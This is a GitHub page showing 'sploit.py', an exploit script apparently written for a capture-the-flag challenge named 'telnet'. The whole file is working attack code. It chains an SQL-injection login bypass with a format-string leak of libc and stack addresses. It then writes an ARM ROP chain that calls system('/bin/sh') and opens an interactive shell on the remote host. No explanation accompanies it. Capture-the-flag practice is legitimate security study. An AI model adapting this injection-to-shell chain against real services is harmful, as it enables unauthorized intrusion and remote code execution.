-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsploit.py
50 lines (35 loc) · 1.35 KB
/
sploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import sys
from math import floor
context.log_level='warning'
#p = process('bash run.sh',shell=True)
p = remote('telnet.2021.3k.ctf.to',8080)
binary=ELF('./telnet')
libc = ELF('./lib/libc.so.6')
## LEAK
payload="'UNION(SELECT(1),('a'),('adminnnn%89$p-%84$p'))#"
p.sendlineafter('token > ',payload)
p.sendlineafter('> \n> ','ls')
LeakLine = p.recvline().decode('utf-8').replace('adminnnn','').strip().split('-')
libc_base = int(LeakLine[0],16) - 53164
print("[+] LIBC_BASE "+hex(libc_base))
stackPointer = int(LeakLine[1],16) - 500 - 496 - 12*4
print("[+] STACK_PTR "+hex(stackPointer))
p.sendlineafter('> ','exit')
p.sendlineafter('Exit(y/n)? >','n')
binsh = libc_base + 0x12bb6c
print("[*] BINSH_STR "+hex(binsh))
systemaddr = libc_base + libc.symbols['system']
print("[*] SYSTEM "+hex(systemaddr))
# WRITING ROPCHAIN AND JUMPING TO IT
# 0x000da9c0: pop {r0, r1, r2, r3, ip, lr}; bx ip;
gadget1 = 0x000da9c0+libc_base
print("[*] GADGET 1 "+hex(gadget1))
ROPCHAIN = p32(gadget1) + b"A"*4+ p32(binsh)+ b"A"*12+ p32(systemaddr)
writes = {stackPointer+4*3: gadget1}
fmt=fmtstr_payload(floor(12+(len(ROPCHAIN)/4)), writes, 8+len(ROPCHAIN),write_size='short')
fmt = (b'adminnnn'+ROPCHAIN+fmt).hex()
payload="'union(select(1),('aa'),CONVERT((0x"+fmt+")USING`latin1`))#"
p.sendlineafter('token > ',payload)
p.sendlineafter('> \n> ','ls')
p.interactive()